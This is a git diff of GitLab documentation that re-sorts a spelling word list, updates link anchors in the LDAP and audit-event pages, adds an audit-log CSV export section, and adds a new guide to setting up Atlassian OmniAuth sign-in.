@@ -121,8 +122,8 @@ Disqus
Dockerfile
Dockerfiles
dogfood
-dogfoods
dogfooding
+dogfoods
dotenv
downvoted
downvotes
@@ -200,9 +201,9 @@ interdependency
interruptible
Irker
Istio
+Jaeger
jasmine-jquery
JavaScript
-Jaeger
Jenkins
Jenkinsfile
Jira
@@ -214,6 +215,7 @@ kanbans
Kaniko
Karma
Kerberos
+keyset
Kibana
Kinesis
Knative
@@ -258,14 +260,14 @@ middlewares
migratus
Minikube
MinIO
-mitmproxy
+misconfiguration
+misconfigurations
misconfigure
misconfigured
misconfigures
-misconfiguration
-misconfigurations
misconfiguring
mitigations
+mitmproxy
mixin
mixins
mockup
@@ -282,15 +284,16 @@ namespaces
namespacing
namespacings
Nanoc
+Netlify
NGINX
Nokogiri
npm
Nurtch
OAuth
-Okta
offboarded
offboarding
offboards
+Okta
OmniAuth
onboarding
OpenID
@@ -301,12 +304,12 @@ parallelizations
passwordless
Patroni
performant
+PgBouncer
phaser
phasers
Pipfile
Pipfiles
Piwik
-PgBouncer
plaintext
Poedit
polyfill
@@ -347,12 +350,12 @@ rebase
rebased
rebases
rebasing
-Redcarpet
-Redis
-Redmine
reCAPTCHA
+Redcarpet
redirection
redirections
+Redis
+Redmine
refactorings
referer
referers
@@ -370,21 +373,21 @@ repurposing
requeue
requeued
requeues
-reusability
Restlet
+resync
resynced
resyncing
resyncs
+reusability
+reverified
+reverifies
+reverify
rollout
rollouts
rsync
rsynced
rsyncing
rsyncs
-resync
-reverified
-reverifies
-reverify
Rubix
Rubocop
Rubular
@@ -397,21 +400,22 @@ runtimes
Salesforce
SAML
sandboxing
+sanitization
sbt
scatterplot
scatterplots
+Schemastore
Sendmail
Sentry
+serializer
+serializers
+serializing
serverless
-Sidekiq
-Sisense
sharding
shfmt
Shibboleth
-sanitization
-serializer
-serializers
-serializing
+Sidekiq
+Sisense
Sitespeed
Slack
Slony
@@ -431,7 +435,6 @@ strace
strikethrough
strikethroughs
stunnel
-subpath
subfolder
subfolders
subgraph
@@ -443,14 +446,15 @@ sublicensing
subnet
subnets
subnetting
-subtree
-subtrees
+subpath
subqueried
subqueries
subquery
subquerying
substring
substrings
+subtree
+subtrees
syslog
tcpdump
Tiller
@@ -465,9 +469,9 @@ tooltip
tooltips
Trello
triaging
-TypeScript
Twilio
Twitter
+TypeScript
Ubuntu
unapplied
unarchive
@@ -504,8 +508,8 @@ unoptimizes
unoptimizing
unprioritized
unprotect
-unprotects
unprotected
+unprotects
unpublish
unpublished
unpublishes
@@ -524,6 +528,8 @@ unstage
unstaged
unstages
unstaging
+unstar
+unstars
unstarted
unstash
unstashed
@@ -558,8 +564,8 @@ webserver
whitepaper
whitepapers
wireframe
-wireframes
wireframed
+wireframes
wireframing
Wireshark
Wordpress
diff --git a/doc/README.md b/doc/README.md
index b73300accab..efae2cdd3ff 100644
--- a/doc/README.md
+++ b/doc/README.md
@@ -93,7 +93,7 @@ The following documentation relates to the DevOps **Manage** stage:
|:--------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [Authentication and<br/>Authorization](administration/auth/README.md) **(CORE ONLY)** | Supported authentication and authorization providers. |
| [GitLab Value Stream Analytics](user/project/cycle_analytics.md) | Measure the time it takes to go from an [idea to production](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab) for each project you have. |
-| [Instance Statistics](user/instance_statistics/index.md) | Discover statistics on how many GitLab features you use and user activity. |
+| [Instance-level Analytics](user/admin_area/analytics/index.md) | Discover statistics on how many GitLab features you use and user activity. |
<div align="right">
<a type="button" class="btn btn-default" href="#overview">
@@ -126,7 +126,7 @@ The following documentation relates to the DevOps **Plan** stage:
| [Roadmap](user/group/roadmap/index.md) **(ULTIMATE)** | Visualize epic timelines. |
| [Service Desk](user/project/service_desk.md) | A simple way to allow people to create issues in your GitLab instance without needing their own user account. |
| [Time Tracking](user/project/time_tracking.md) | Track time spent on issues and merge requests. |
-| [Todos](user/todos.md) | Keep track of work requiring attention with a chronological list displayed on a simple dashboard. |
+| [To-Do List](user/todos.md) | Keep track of work requiring attention with a chronological list displayed on a simple dashboard. |
<div align="right">
<a type="button" class="btn btn-default" href="#overview">
@@ -149,7 +149,7 @@ The following documentation relates to the DevOps **Create** stage:
| Create topics - Projects and Groups | Description |
|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------|
-| [Advanced global search](user/search/advanced_global_search.md) **(STARTER)** | Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. |
+| [Advanced search](user/search/advanced_global_search.md) **(STARTER)** | Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. |
| [Advanced syntax search](user/search/advanced_search_syntax.md) **(STARTER)** | Use advanced queries for more targeted search results. |
| [Contribution analytics](user/group/contribution_analytics/index.md) **(STARTER)** | See detailed statistics of group contributors. |
| [Create](gitlab-basics/create-project.md) and [fork](gitlab-basics/fork-project.md) projects, and<br/>[import and export projects<br/>between instances](user/project/settings/import_export.md) | Create, duplicate, and move projects. |
@@ -159,7 +159,7 @@ The following documentation relates to the DevOps **Create** stage:
| [Issue Analytics](user/group/issues_analytics/index.md) **(PREMIUM)** | Check how many issues were created per month. |
| [Merge Request Analytics](user/analytics/merge_request_analytics.md) **(PREMIUM)** | Check your throughput productivity - how many merge requests were merged per month. |
| [Projects](user/project/index.md), including [project access](public_access/public_access.md)<br/>and [settings](user/project/settings/index.md) | Host source code, and control your project's visibility and set configuration. |
-| [Search through GitLab](user/search/index.md) | Search for issues, merge requests, projects, groups, and todos. |
+| [Search through GitLab](user/search/index.md) | Search for issues, merge requests, projects, groups, and to-dos. |
| [Snippets](user/snippets.md) | Snippets allow you to create little bits of code. |
| [Web IDE](user/project/web_ide/index.md) | Edit files within GitLab's user interface. |
| [Static Site Editor](user/project/static_site_editor/index.md) | Edit content on static websites. |
@@ -198,7 +198,7 @@ The following documentation relates to the DevOps **Create** stage:
| Create topics - Merge Requests | Description |
|:--------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------|
-| [Checking out merge requests locally](user/project/merge_requests/reviewing_and_managing_merge_requests.md#checkout-merge-requests-locally) | Tips for working with merge requests locally. |
+| [Checking out merge requests locally](user/project/merge_requests/reviewing_and_managing_merge_requests.md#checkout-merge-requests-locally-through-the-head-ref) | Tips for working with merge requests locally. |
| [Cherry-picking](user/project/merge_requests/cherry_pick_changes.md) | Use GitLab for cherry-picking changes. |
| [Merge request thread resolution](user/discussions/index.md#moving-a-single-thread-to-a-new-issue) | Resolve threads, move threads in a merge request to an issue, and only allow merge requests to be merged if all threads are resolved. |
| [Merge requests](user/project/merge_requests/index.md) | Merge request management. |
@@ -244,7 +244,7 @@ The following documentation relates to the DevOps **Verify** stage:
|:----------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------|
| [Code Quality reports](user/project/merge_requests/code_quality.md) | Analyze source code quality. |
| [GitLab CI/CD](ci/README.md) | Explore the features and capabilities of Continuous Integration with GitLab. |
-| [JUnit test reports](ci/junit_test_reports.md) | Display JUnit test reports on merge requests. |
+| [Unit test reports](ci/unit_test_reports.md) | Display Unit test reports on merge requests. |
| [Multi-project pipelines](ci/multi_project_pipelines.md) **(PREMIUM)** | Visualize entire pipelines that span multiple projects, including all cross-project inter-dependencies. |
| [Pipeline Graphs](ci/pipelines/index.md#visualize-pipelines) | Visualize builds. |
| [Review Apps](ci/review_apps/index.md) | Preview changes to your application right from a merge request. |
diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md
index e7eab5a291e..099346b2b0b 100644
--- a/doc/administration/audit_events.md
+++ b/doc/administration/audit_events.md
@@ -68,7 +68,7 @@ From there, you can see the following actions:
- Roles allowed to create project changed.
- Group CI/CD variable added, removed, or protected status changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30857) in GitLab 13.3.
-Group events can also be accessed via the [Group Audit Events API](../api/audit_events.md#group-audit-events-starter)
+Group events can also be accessed via the [Group Audit Events API](../api/audit_events.md#group-audit-events)
### Project events **(STARTER)**
@@ -96,8 +96,9 @@ From there, you can see the following actions:
- Permission to approve merge requests by authors was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9)
- Number of required approvals was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9)
- Added or removed users and groups from project approval groups ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213603) in GitLab 13.2)
+- Project CI/CD variable added, removed, or protected status changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30857) in GitLab 13.4.
-Project events can also be accessed via the [Project Audit Events API](../api/audit_events.md#project-audit-events-starter)
+Project events can also be accessed via the [Project Audit Events API](../api/audit_events.md#project-audit-events)
### Instance events **(PREMIUM ONLY)**
@@ -132,7 +133,7 @@ the filter dropdown box. You can further filter by specific group, project, or u
![audit log](img/audit_log.png)
-Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events-premium-only)
+Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events)
### Missing events
@@ -171,4 +172,77 @@ the steps bellow.
```ruby
Feature.enable(:repository_push_audit_event)
- ```
+
+## Export to CSV **(PREMIUM ONLY)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
+> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-audit-log-export-to-csv). **(PREMIUM ONLY)**
+
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+Export to CSV allows customers to export the current filter view of your audit log as a
+CSV file,
+which stores tabular data in plain text. The data provides a comprehensive view with respect to
+audit events.
+
+To export the Audit Log to CSV, navigate to
+**{monitor}** **Admin Area > Monitoring > Audit Log**
+
+1. Click in the field **Search**.
+1. In the dropdown menu that appears, select the event type that you want to filter by.
+1. Select the preferred date range.
+1. Click **Export as CSV**.
+
+![Export Audit Log](img/export_audit_log_v13_4.png)
+
+### Sort
+
+Exported events are always sorted by `ID` in ascending order.
+
+### Format
+
+Data is encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows.
+The first row contains the headers, which are listed in the following table along with a description of the values:
+
+| Column | Description |
+|---------|-------------|
+| ID | Audit event `id` |
+| Author ID | ID of the author |
+| Author Name | Full name of the author |
+| Entity ID | ID of the scope |
+| Entity Type | Type of the entity (`Project`/`Group`/`User`) |
+| Entity Path | Path of the entity |
+| Target ID | ID of the target |
+| Target Type | Type of the target |
+| Target Details | Details of the target |
+| Action | Description of the action |
+| IP Address | IP address of the author who performed the action |
+| Created At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` |
+
+### Limitation
+
+The Audit Log CSV file size is limited to a maximum of `15 MB`.
+The remaining records are truncated when this limit is reached.
+
+### Enable or disable Audit Log Export to CSV
+
+The Audit Log Export to CSV is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:audit_log_export_csv)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:audit_log_export_csv)
+```
diff --git a/doc/administration/audit_reports.md b/doc/administration/audit_reports.md
index d5a08b711be..83fbeda26aa 100644
--- a/doc/administration/audit_reports.md
+++ b/doc/administration/audit_reports.md
@@ -1,6 +1,7 @@
---
stage: Manage
group: Compliance
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
description: 'Learn how to create evidence artifacts typically requested by a 3rd party auditor.'
---
@@ -8,7 +9,7 @@ description: 'Learn how to create evidence artifacts typically requested by a 3r
GitLab can help owners and administrators respond to auditors by generating
comprehensive reports. These **Audit Reports** vary in scope, depending on the
-need:
+needs.
## Use cases
@@ -26,6 +27,3 @@ need:
- `https://docs.gitlab.com/ee/administration/audit_events.html`
- `https://docs.gitlab.com/ee/administration/logs.html`
-
-We plan on making Audit Events [downloadable as a CSV](https://gitlab.com/gitlab-org/gitlab/-/issues/1449)
-in the near future.
diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md
index 60e1dfb4637..926a4abab7d 100644
--- a/doc/administration/auth/README.md
+++ b/doc/administration/auth/README.md
@@ -11,6 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab integrates with the following external authentication and authorization
providers:
+- [Atlassian](atlassian.md)
- [Auth0](../../integration/auth0.md)
- [Authentiq](authentiq.md)
- [AWS Cognito](cognito.md)
diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md
new file mode 100644
index 00000000000..3a1f5eeb0c2
--- /dev/null
+++ b/doc/administration/auth/atlassian.md
@@ -0,0 +1,86 @@
+---
+type: reference
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Atlassian OmniAuth Provider
+
+To enable the Atlassian OmniAuth provider for passwordless authentication you must register an application with Atlassian.
+
+## Atlassian application registration
+
+1. Go to <https://developer.atlassian.com/apps/> and sign-in with the Atlassian
+ account that will administer the application.
+
+1. Click **Create a new app**.
+
+1. Choose an App Name, such as 'GitLab', and click **Create**.
+
+1. Note the `Client ID` and `Secret` for the [GitLab configuration](#gitlab-configuration) steps.
+
+1. In the left sidebar under **APIS AND FEATURES**, click **OAuth 2.0 (3LO)**.
+
+1. Enter the GitLab callback URL using the format `https://gitlab.example.com/users/auth/atlassian_oauth2/callback` and click **Save changes**.
+
+1. Click **+ Add** in the left sidebar under **APIS AND FEATURES**.
+
+1. Click **Add** for **Jira platform REST API** and then **Configure**.
+
+1. Click **Add** next to the following scopes:
+ - **View Jira issue data**
+ - **View user profiles**
+ - **Create and manage issues**
+
+## GitLab configuration
+
+1. On your GitLab server, open the configuration file:
+
+ For Omnibus GitLab installations:
+
+ ```shell
+ sudo editor /etc/gitlab/gitlab.rb
+ ```
+
+ For installations from source:
+
+ ```shell
+ sudo -u git -H editor /home/git/gitlab/config/gitlab.yml
+ ```
+
+1. See [Initial OmniAuth Configuration](../../integration/omniauth.md#initial-omniauth-configuration) for initial settings to enable single sign-on and add `atlassian_oauth2` as an OAuth provider.
+
+1. Add the provider configuration for Atlassian:
+
+ For Omnibus GitLab installations:
+
+ ```ruby
+ gitlab_rails['omniauth_providers'] = [
+ {
+ name: "atlassian_oauth2",
+ app_id: "YOUR_CLIENT_ID",
+ app_secret: "YOUR_CLIENT_SECRET",
+ args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' }
+ }
+ ]
+ ```
+
+ For installations from source:
+
+ ```yaml
+ - name: "atlassian_oauth2",
+ app_id: "YOUR_CLIENT_ID",
+ app_secret: "YOUR_CLIENT_SECRET",
+ args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' }
+ ```
+
+1. Change `YOUR_CLIENT_ID` and `YOUR_CLIENT_SECRET` to the Client credentials you received in [application registration](#atlassian-application-registration) steps.
+
+1. Save the configuration file.
+
+1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively.
+
+On the sign-in page there should now be an Atlassian icon below the regular sign in form. Click the icon to begin the authentication process.
+
+If everything goes right, the user is signed in to GitLab using their Atlassian credentials.
diff --git a/doc/administration/auth/cognito.md b/doc/administration/auth/cognito.md
index b4df6446835..e777acd0d32 100644
--- a/doc/administration/auth/cognito.md
+++ b/doc/administration/auth/cognito.md
@@ -37,7 +37,7 @@ The following steps enable AWS Cognito as an authentication provider:
1. Save changes for the app client settings.
1. Under **Domain name** include the AWS domain name for your AWS Cognito application.
-1. Under **App Clients**, find your **App client id** and **App client secret**. These values correspond to the OAuth2 Client ID and Client Secret. Save these values.
+1. Under **App Clients**, find your app client ID and app client secret. These values correspond to the OAuth2 Client ID and Client Secret. Save these values.
## Configure GitLab
diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md
index 1f8fca33811..90f0e681dd1 100644
--- a/doc/administration/auth/ldap/google_secure_ldap.md
+++ b/doc/administration/auth/ldap/google_secure_ldap.md
@@ -35,7 +35,7 @@ The steps below cover:
credentials' and 'Read user information'. Select 'Add LDAP Client'
TIP: **Tip:**
- If you plan to use GitLab [LDAP Group Sync](index.md#group-sync-starter-only)
+ If you plan to use GitLab [LDAP Group Sync](index.md#group-sync)
, turn on 'Read group information'.
![Add LDAP Client Step 2](img/google_secure_ldap_add_step_2.png)
diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md
index 548e734c931..1dac098ec0c 100644
--- a/doc/administration/auth/ldap/index.md
+++ b/doc/administration/auth/ldap/index.md
@@ -16,6 +16,8 @@ This integration works with most LDAP-compliant directory servers, including:
- Open LDAP
- 389 Server
+Users added through LDAP take a [licensed seat](../../../subscriptions/self_managed/index.md#choose-the-number-of-users).
+
GitLab Enterprise Editions (EE) include enhanced integration,
including group membership syncing as well as multiple LDAP servers support.
@@ -35,7 +37,7 @@ GitLab assumes that LDAP users:
- Are not able to change their LDAP `mail`, `email`, or `userPrincipalName` attributes.
An LDAP user who is allowed to change their email on the LDAP server can potentially
- [take over any account](#enabling-ldap-sign-in-for-existing-gitlab-users-core-only)
+ [take over any account](#enabling-ldap-sign-in-for-existing-gitlab-users)
on your GitLab server.
- Have unique email addresses, otherwise it is possible for LDAP users with the same
email address to share the same GitLab account.
@@ -55,7 +57,7 @@ immediately block all access.
NOTE: **Note:**
GitLab Enterprise Edition Starter supports a
-[configurable sync time](#adjusting-ldap-user-sync-schedule-starter-only).
+[configurable sync time](#adjusting-ldap-user-sync-schedule).
## Git password authentication **(CORE ONLY)**
@@ -338,7 +340,7 @@ sync, while also allowing your SAML identity provider to handle additional
checks like custom 2FA.
When LDAP web sign in is disabled, users will not see a **LDAP** tab on the sign in page.
-This does not disable [using LDAP credentials for Git access](#git-password-authentication-core-only).
+This does not disable [using LDAP credentials for Git access](#git-password-authentication).
**Omnibus configuration**
@@ -389,7 +391,7 @@ that your GitLab instance will connect to.
To add another LDAP server:
-1. Duplicate the settings under [the main configuration](#configuration-core-only).
+1. Duplicate the settings under [the main configuration](#configuration).
1. Edit them to match the additional LDAP server.
Be sure to choose a different provider ID made of letters a-z and numbers 0-9.
@@ -544,11 +546,11 @@ following.
1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
To take advantage of group sync, group owners or maintainers will need to [create one
-or more LDAP group links](#adding-group-links-starter-only).
+or more LDAP group links](#adding-group-links).
### Adding group links **(STARTER ONLY)**
-For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap-starter-only).
+For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap).
### Administrator sync **(STARTER ONLY)**
@@ -609,7 +611,7 @@ When enabled, the following applies:
To enable it you need to:
-1. [Enable LDAP](#configuration-core-only)
+1. [Enable LDAP](#configuration)
1. Navigate to **(admin)** **Admin Area > Settings -> Visibility and access controls**.
1. Make sure the "Lock memberships to LDAP synchronization" checkbox is enabled.
@@ -657,7 +659,7 @@ sync to run once every 2 hours at the top of the hour.
### External groups **(STARTER ONLY)**
Using the `external_groups` setting will allow you to mark all users belonging
-to these groups as [external users](../../../user/permissions.md#external-users-core-only).
+to these groups as [external users](../../../user/permissions.md#external-users).
Group membership is checked periodically through the `LdapGroupSync` background
task.
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index 75183f54990..3d3ac124ac4 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -56,7 +56,7 @@ main: # 'main' is the GitLab 'provider ID' of this LDAP server
The following allows you to perform a search in LDAP using the rails console.
Depending on what you're trying to do, it may make more sense to query [a
-user](#query-a-user-in-ldap) or [a group](#query-a-group-in-ldap-starter-only) directly, or
+user](#query-a-user-in-ldap) or [a group](#query-a-group-in-ldap) directly, or
even [use `ldapsearch`](#ldapsearch) instead.
```ruby
@@ -90,8 +90,8 @@ established but GitLab doesn't show you LDAP users in the output, one of the
following is most likely true:
- The `bind_dn` user doesn't have enough permissions to traverse the user tree.
-- The user(s) don't fall under the [configured `base`](index.md#configuration-core-only).
-- The [configured `user_filter`](index.md#set-up-ldap-user-filter-core-only) blocks access to the user(s).
+- The user(s) don't fall under the [configured `base`](index.md#configuration).
+- The [configured `user_filter`](index.md#set-up-ldap-user-filter) blocks access to the user(s).
In this case, you con confirm which of the above is true using
[ldapsearch](#ldapsearch) with the existing LDAP configuration in your
@@ -102,9 +102,9 @@ In this case, you con confirm which of the above is true using
A user can have trouble signing in for any number of reasons. To get started,
here are some questions to ask yourself:
-- Does the user fall under the [configured `base`](index.md#configuration-core-only) in
+- Does the user fall under the [configured `base`](index.md#configuration) in
LDAP? The user must fall under this `base` to sign-in.
-- Does the user pass through the [configured `user_filter`](index.md#set-up-ldap-user-filter-core-only)?
+- Does the user pass through the [configured `user_filter`](index.md#set-up-ldap-user-filter)?
If one is not configured, this question can be ignored. If it is, then the
user must also pass through this filter to be allowed to sign-in.
- Refer to our docs on [debugging the `user_filter`](#debug-ldap-user-filter).
@@ -122,7 +122,7 @@ If the logs don't lead to the root of the problem, use the
to see if GitLab can read this user on the LDAP server.
It can also be helpful to
-[debug a user sync](#sync-all-users-starter-only) to
+[debug a user sync](#sync-all-users) to
investigate further.
#### Invalid credentials on sign-in
@@ -136,6 +136,27 @@ are true for the user in question:
- Run [an LDAP check command](#ldap-check) to make sure that the LDAP settings
are correct and [GitLab can see your users](#no-users-are-found).
+#### Access denied for your LDAP account
+
+There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/235930) that
+may affect users with [Auditor level access](../../auditor_users.md). When
+downgrading from Premium/Ultimate, Auditor users who try to sign in
+may see the following message: `Access denied for your LDAP account`.
+
+We have a workaround, based on toggling the access level of affected users:
+
+1. As an administrator, go to **Admin Area > Overview > Users**.
+1. Select the name of the affected user.
+1. In the user's administrative page, press **Edit** on the top right of the page.
+1. Change the user's access level from **Regular** to **Admin** (or vice versa),
+ and press **Save changes** at the bottom of the page.
+1. Press **Edit** on the top right of the user's profile page
+ again.
+1. Restore the user's original access level (**Regular** or **Admin**)
+ and press **Save changes** again.
+
+The user should now be able to sign in.
+
#### Email has already been taken
A user tries to sign-in with the correct LDAP credentials, is denied access,
@@ -175,7 +196,7 @@ profile](../../../user/profile/index.md#user-profile) or an admin can do it.
#### Debug LDAP user filter
[`ldapsearch`](#ldapsearch) allows you to test your configured
-[user filter](index.md#set-up-ldap-user-filter-core-only)
+[user filter](index.md#set-up-ldap-user-filter)
to confirm that it returns the users you expect it to return.
```shell
@@ -191,7 +212,7 @@ ldapsearch -H ldaps://$host:$port -D "$bind_dn" -y bind_dn_password.txt -b "$ba
#### Sync all users **(STARTER ONLY)**
-The output from a manual [user sync](index.md#user-sync-starter-only) can show you what happens when
+The output from a manual [user sync](index.md#user-sync) can show you what happens when
GitLab tries to sync its users against LDAP. Enter the [rails console](#rails-console)
and then run:
@@ -202,11 +223,11 @@ LdapSyncWorker.new.perform
```
Next, [learn how to read the
-output](#example-console-output-after-a-user-sync-starter-only).
+output](#example-console-output-after-a-user-sync).
##### Example console output after a user sync **(STARTER ONLY)**
-The output from a [manual user sync](#sync-all-users-starter-only) will be very verbose, and a
+The output from a [manual user sync](#sync-all-users) will be very verbose, and a
single user's successful sync can look like this:
```shell
@@ -304,9 +325,9 @@ LDAP group sync, but for some reason it's not happening. There are several
things to check to debug the situation.
- Ensure LDAP configuration has a `group_base` specified.
- [This configuration](index.md#group-sync-starter-only) is required for group sync to work properly.
+ [This configuration](index.md#group-sync) is required for group sync to work properly.
- Ensure the correct [LDAP group link is added to the GitLab
- group](index.md#adding-group-links-starter-only).
+ group](index.md#adding-group-links).
- Check that the user has an LDAP identity:
1. Sign in to GitLab as an administrator user.
1. Navigate to **Admin area -> Users**.
@@ -316,10 +337,10 @@ things to check to debug the situation.
an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with
LDAP yet and must do so first.
- You've waited an hour or [the configured
- interval](index.md#adjusting-ldap-group-sync-schedule-starter-only) for the group to
+ interval](index.md#adjusting-ldap-group-sync-schedule) for the group to
sync. To speed up the process, either go to the GitLab group **Settings ->
Members** and press **Sync now** (sync one group) or [run the group sync Rake
- task](../../raketasks/ldap.md#run-a-group-sync-starter-only) (sync all groups).
+ task](../../raketasks/ldap.md#run-a-group-sync) (sync all groups).
If all of the above looks good, jump in to a little more advanced debugging in
the rails console.
@@ -327,23 +348,23 @@ the rails console.
1. Enter the [rails console](#rails-console).
1. Choose a GitLab group to test with. This group should have an LDAP group link
already configured.
-1. [Enable debug logging, find the above GitLab group, and sync it with LDAP](#sync-one-group-starter-only).
+1. [Enable debug logging, find the above GitLab group, and sync it with LDAP](#sync-one-group).
1. Look through the output of the sync. See [example log
- output](#example-console-output-after-a-group-sync-starter-only)
+ output](#example-console-output-after-a-group-sync)
for how to read the output.
1. If you still aren't able to see why the user isn't being added, [query the
- LDAP group directly](#query-a-group-in-ldap-starter-only) to see what members are listed.
+ LDAP group directly](#query-a-group-in-ldap) to see what members are listed.
1. Is the user's DN or UID in one of the lists from the above output? One of the DNs or
UIDs here should match the 'Identifier' from the LDAP identity checked earlier. If it doesn't,
the user does not appear to be in the LDAP group.
#### Admin privileges not granted
-When [Administrator sync](index.md#administrator-sync-starter-only) has been configured
+When [Administrator sync](index.md#administrator-sync) has been configured
but the configured users aren't granted the correct admin privileges, confirm
the following are true:
-- A [`group_base` is also configured](index.md#group-sync-starter-only).
+- A [`group_base` is also configured](index.md#group-sync).
- The configured `admin_group` in the `gitlab.rb` is a CN, rather than a DN or an array.
- This CN falls under the scope of the configured `group_base`.
- The members of the `admin_group` have already signed into GitLab with their LDAP
@@ -351,17 +372,17 @@ the following are true:
accounts are already connected to LDAP.
If all the above are true and the users are still not getting access, [run a manual
-group sync](#sync-all-groups-starter-only) in the rails console and [look through the
-output](#example-console-output-after-a-group-sync-starter-only) to see what happens when
+group sync](#sync-all-groups) in the rails console and [look through the
+output](#example-console-output-after-a-group-sync) to see what happens when
GitLab syncs the `admin_group`.
#### Sync all groups **(STARTER ONLY)**
NOTE: **Note:**
To sync all groups manually when debugging is unnecessary, [use the Rake
-task](../../raketasks/ldap.md#run-a-group-sync-starter-only) instead.
+task](../../raketasks/ldap.md#run-a-group-sync) instead.
-The output from a manual [group sync](index.md#group-sync-starter-only) can show you what happens
+The output from a manual [group sync](index.md#group-sync) can show you what happens
when GitLab syncs its LDAP group memberships against LDAP.
```ruby
@@ -371,12 +392,12 @@ LdapAllGroupsSyncWorker.new.perform
```
Next, [learn how to read the
-output](#example-console-output-after-a-group-sync-starter-only).
+output](#example-console-output-after-a-group-sync).
##### Example console output after a group sync **(STARTER ONLY)**
Like the output from the user sync, the output from the [manual group
-sync](#sync-all-groups-starter-only) will also be very verbose. However, it contains lots
+sync](#sync-all-groups) will also be very verbose. However, it contains lots
of helpful information.
Indicates the point where syncing actually begins:
@@ -456,7 +477,7 @@ this line will indicate the sync is finished:
Finished syncing admin users for 'ldapmain' provider
```
-If [admin sync](index.md#administrator-sync-starter-only) is not configured, you'll see a message
+If [admin sync](index.md#administrator-sync) is not configured, you'll see a message
stating as such:
```shell
@@ -465,7 +486,7 @@ No `admin_group` configured for 'ldapmain' provider. Skipping
#### Sync one group **(STARTER ONLY)**
-[Syncing all groups](#sync-all-groups-starter-only) can produce a lot of noise in the output, which can be
+[Syncing all groups](#sync-all-groups) can produce a lot of noise in the output, which can be
distracting when you're only interested in troubleshooting the memberships of
a single GitLab group. In that case, here's how you can just sync this group
and see its debug output:
@@ -483,7 +504,7 @@ EE::Gitlab::Auth::Ldap::Sync::Group.execute_all_providers(group)
```
The output will be similar to
-[that you'd get from syncing all groups](#example-console-output-after-a-group-sync-starter-only).
+[that you'd get from syncing all groups](#example-console-output-after-a-group-sync).
#### Query a group in LDAP **(STARTER ONLY)**
@@ -541,7 +562,7 @@ emails.each do |username, email|
end
```
-You can then [run a UserSync](#sync-all-users-starter-only) **(STARTER ONLY)** to sync the latest DN
+You can then [run a UserSync](#sync-all-users) **(STARTER ONLY)** to sync the latest DN
for each of these users.
## Debugging Tools
diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md
index 47e4b6c068c..237261f2567 100644
--- a/doc/administration/compliance.md
+++ b/doc/administration/compliance.md
@@ -11,10 +11,10 @@ GitLab’s [security features](../security/README.md) may also help you meet rel
|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Core+||
|**[Email all users of a project, group, or entire server](../user/admin_area/settings/terms.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+||
|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Starter+||
-|**[Lock project membership to group](../user/group/index.md#member-lock-starter)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓|
